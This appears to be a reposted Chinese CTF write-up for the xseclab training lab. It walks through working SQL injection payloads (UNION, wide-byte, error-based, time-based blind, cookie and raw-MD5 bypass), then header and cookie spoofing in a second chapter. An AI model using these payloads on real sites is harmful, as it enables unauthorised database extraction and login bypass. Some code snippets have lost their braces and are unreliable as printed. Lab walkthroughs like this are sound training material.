网络安全实验室4.注入关

Posted 儒道易行

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全实验室4.注入关相关的知识,希望对你有一定的参考价值。

4.注入关

1.最简单的SQL注入

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源代码,登录名为admin

最简单的SQL注入,登录名写入一个常规的注入语句:

admin’ or ‘1’='1

密码随便填,验证码填正确的,点击登录

得到我的座右铭(flag)是iamflagsafsfskdf11223

2.最简单的SQL注入(熟悉注入环境)

url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入

判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段

判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询

查询数据库名为mydbs ?id=-1 union select 1,2,database()

查询数据表为sae_user_sqli3

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

查询字段名为id,title,content

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3

查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3

得到HKGGflagdfs56757fsdv

3.防注入

url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’

成功报错,找到注入点

构造语句?id=1%df%27%20or%201=1%23

页面正常回显,说明or语句执行成功可以注入!

构造语句?id=1%df%27%20or%201=1%20limit%202,1%23

得到Hsaagdfs56sdf7fsdv

另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

4.到底能不能回显

url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

经过测试,只有start参数有作用,num参数并没有作用。

构造payload:

查询数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1

查询数据表名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

查询列名:(由于分号被过滤了,只能将表名转换成16进制)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

查询flag:myflagishere

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

5.邂逅

url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入

burp对图片抓包的设置

在上图所示的位置

构造payload:

查询注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg

页面报错

查询列数:4列

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

查询显示位:3

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

查询数据库:mydbs

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg

查询表名:article,pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

查询列名:id,picname,data,text

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

查询数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

将图片后缀改为flagishere_askldjfklasjdfl.jpg ,

访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

得到flag is “IamflagIloveyou!”

6.ErrorBased

url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题考查mysql的报错注入

查询数据库名:mydbs

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q

查询数据表名:log,motto,user

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q

查询motto表的下的列名:id,username,motto

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q

查询id字段的值:0,1,2,100000

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q

查询username字段的值:admin,guest,test,#adf#ad@@#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q

查询motto字段的值:mymotto,happy everyday,nothing

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q

对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中

再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q

7.盲注

url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php

本题使用延时盲注

判断当前数据库名长度为5,页面没有延时,说明数据库长度为5

%27+and%20sleep(if((length(database())=5),0,3))–%20q

判断库名第一个值为m,页面没有延时,说明数据库第一个值为m

’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q

以此类推,数据库名为mydbs

判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l

’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q

以此类推,数据表名为log,motto,user

判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

以此类推,数据表motto中的字段值为id,username,motto

判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m

’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q

以此类推,得到flag,notfound!

延时注入太慢了,sqlmap跑也比较慢

8.SQL注入通用防护

url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1

本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包

在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入

查询字段数目

id=1 order by 3

最后得到字段数目是3。

查询显示位,得到显示位是2,3

id=1 union select 1,2,3

查询数据库名,得到数据库名为mydbs

id=1 union select 1,2,database()

查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段

id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)

查询flag,IamFlagCookieInject!

id=1 union select 1,2,password from sae_manager_sqli8

9.据说哈希后的密码是不能产生注入的

url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

查看关键源

"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"

对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

md5(‘123’) //202cb962ac59075b964b07152d234b70

md5(‘123’,true) // ,�b�Y[�K-#Kp

只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

可以伪造成

select * from user where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’

从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf

payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

网络安全实验室2.基础关

2.基础关

1.key在哪里

url:http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php

查看网页源代码的方式有4种,分别是:1、鼠标右击会看到”查看源代码“,这个网页的源代码就出现在你眼前了;2、可以使用快捷Ctrl+U来查看源码;3、在地址栏前面加上view-source,如view-source:https://www.baidu.com ; 4、浏览器的设置菜单框中,找到“更多工具”,然后再找开发者工具,也可以查看网页源代码。

这道题明显考查查看源代码的方式,右键审查元素

key is jflsjklejflkdsjfklds

2.ROT13加密

url:http://hackinglab.cn/ShowQues.php?type=bases

根据题意,“再加密一次”判断是ROT-13

ROT13是它自己本身的逆反;也就是说,要还原ROT13,套用加密同样的算法即可得,故同样的操作可用再加密与解密

使用在线解密工具

http://www.rot13.de/

xrlvf23xfqwsxsqf 把数据复制过去,点击下方的按钮

key is 23ksdjfkfds

3.base64 加密

url:http://hackinglab.cn/ShowQues.php?type=bases

因为后面有“=”初次判断为base64

BASE64:是一种基于64个可打印字符来表示二进制数据的表示方法。Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式,Base64的尾部填充用的是“=”号,只是用来补足位数的,以四个字符为一个块,最末尾不足四个字符的用“=”号填满。

base64,base32,base16的区别:

base64中包含大写字母(A-Z)、小写字母(a-z)、数字0——9以及+/;

base32中只有大写字母(A-Z)和数字234567

base16中包含了数字(0-9)和大写字母(A~F)

根据加密后的字符串所以只能是base64

第一种方法:使用base64在线解密工具

http://tool.oschina.net/encrypt?type=3

把加密后的字符串复制黏贴到右边,进行解密

点击 BASE64解码,发现没有出来没发现key.

再次解密!!!!复制左面的面的编码粘贴至右面再次解码!!!一直复制粘贴出来key为止

进行了20次的复制黏贴,终于得到了!

key is jkljdkl232jkljkdl2389

第二种方法:使用php脚本

<?php 
$data = "ba64加密的代码...";
$num = 0;
for ($i=0; $i < 1000; $i++)  
    $data2 = base64_decode($data);
    $data = base64_decode($data2);
    echo $data."<br/>";//不是$data就是$data2;两个随便输出一个就行了。

第三种方法:使用python脚本

第一个脚本:python3

#base64模块,专门用作base64编码解码的。
import base64
# 加密解密函数
def encrypt_decrypt(string):
    #首先,Base64生成的编码都是ascii字符。其次,python3中字符都为unicode编码,而b64encode函数的参数为byte类型,所以必须先转码。
    #将字符串转换成bytes 编码格式utf-8
    #编码可以将抽象字符以二进制数据的形式表示,有很多编码方法,如utf-8、gbk等,可以使用encode()函数对字符串进行编码,转换成二进制字节数据,也可用decode()函数将字节解码成字符串;用decode()函数解码,可不要用指定编码格式;
    #m查看循环次数
    m = 0
    #把string通过encode()进行转换
    bytesString = string.encode(encoding='utf-8')
#使用了try···except···finally····捕获异常
    try:
        while True:
            m += 1
            decodeStr = base64.b64decode(bytesString)
            #赋值
            bytesString = decodeStr
    #发生异常则输出这个
    except Exception:
        #decode()方法以encoding指定的编码格式解码字符串,默认编码为字符串编码
        print('base64解码后的字符串:', decodeStr.decode())
    #无论try是否异常,finally总会执行
    finally:
        print(m)

#程序的入口main ,作用:防止在被其他文件导入时显示多余的程序主体部分。
if __name__ == '__main__':
    #测试数据
    encrypt_decrypt('字符串')

第二个脚本:python2

import base64
s = "加密后的字符串"
a = 0
try:
 while True:
  s = base64.decodestring(s)
  a += 1
except Exception:
 print s
 print a

4.MD5加密

url:http://hackinglab.cn/ShowQues.php?type=bases

使用md5在线解密

https://cmd5.org/

bighp

5.种族歧视

url:http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php

第一种方法:burp抓包

发现语言,因为这个网站只能让外国人进,所以把语言换成en-US

放包,得到key is: *(TU687jksf6&*

第二种方法:使用Python3脚本

import urllib,urllib.request
headers = 
        "Accept-Language": "en-US,en;q=0.9",
        'User-Agent': "HAHA"
    

def getpage(path):  # 抓取网页源代码
    # data = urllib.request.urlopen(path).read().decode("gbk", "ignore")  # 中文网页
    # return data
    request = urllib.request.Request(url=path, headers=headers)  # 冒充其他浏览器
    response = urllib.request.urlopen(request)  # 会话,打开网页
    data = response.read().decode("utf-8", "ignore")  # 读取网页并且编码
    return data

print(getpage('http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php'))# 网址自行更换

6.HAHA浏览器

url:http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php

第一种方法:burp抓包

发现有浏览器信息,那我们把浏览器改成HAHA

放包,得到key is: meiyouHAHAliulanqi

第二种方法:使用Python3脚本

import urllib,urllib.request
headers = 
        "Accept-Language": "en-US,en;q=0.9",
        'User-Agent': "HAHA"
    

def getpage(path):  # 抓取网页源代码
    # data = urllib.request.urlopen(path).read().decode("gbk", "ignore")  # 中文网页
    # return data
    request = urllib.request.Request(url=path, headers=headers)  # 冒充其他浏览器
    response = urllib.request.urlopen(request)  # 会话,打开网页
    data = response.read().decode("utf-8", "ignore")  # 读取网页并且编码
    return data

print(getpage('http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php'))# 网址自行更换

7.key究竟在哪里呢?

第一种方法:右键审查元素,得到Key: kjh%#$#%FDjjj

第二种方法:burp抓包,发送到重放模块,点击go,得到Key: kjh%#$#%FDjjj

8.key又找不到了

url:http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

点击到这里找key,抓包重放,得到./key_is_here_now_.php

访问http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/key_is_here_now_.php

得到key: ohHTTP302dd

9.冒充登陆用户

url:http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php

第一种方法:burp抓包,cookie里的login参数改为1

得到key is: yescookieedit7823789KJ

第二种方法:使用python3脚本

import urllib,urllib.request
headers = 
        "Accept-Language": "en-US,en;q=0.9",
        'Cookie': "Login=1"
    

def getpage(path):  # 抓取网页源代码
    # data = urllib.request.urlopen(path).read().decode("gbk", "ignore")  # 中文网页
    # return data
    request = urllib.request.Request(url=path, headers=headers)  # 冒充其他浏览器
    response = urllib.request.urlopen(request)  # 会话,打开网页
    data = response.read().decode("utf-8", "ignore")  # 读取网页并且编码
    return data

print(getpage('http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php'))# 网址自行更换

10.比较数字大小

url:http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

第一种方法,右键审查元素,前端验证,发现在框里最大长度是3,如图修改

输入9999,得到key is 768HKyu678567&*&K

第二种方法,burp抓包,直接输9999即可

11.本地的诱惑

url:http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php

第一种方法:审查元素,得到key is ^&*(UIHKJjkadshf

第二种方法,必须本地访问,burp抓包,在 Request 中加入请求头 X-Forwarded-For: 127.0.0.1 ,得到key is ^&*(UIHKJjkadshf

注:X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下:X-Forwarded-For: client1, proxy1, proxy2。

12.就不让你访问

url:http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php

查看robots.txt,http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/robots.txt

注:disallow 一般是用在robots.txt中的。表示禁止搜索引擎抓取。

Disallow,正是robots.txt文件中设置禁止搜索引擎收录哪些目录的一个词语。

访问http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/

访问http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/login.php

得到right! key is UIJ%%IOOqweqwsdf

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

以上是关于网络安全实验室4.注入关的主要内容,如果未能解决你的问题,请参考以下文章

如何安全地进行SQL注入测试

安全安全测试

投稿一次不完整的XSS混合渗透测试记录

有没有用MacBook做渗透测试的,面对各种工具不支持该怎么办

技术讨论 | 在HTTP协议层面绕过WAF

网络安全-常见面试题(Web渗透测试密码学等)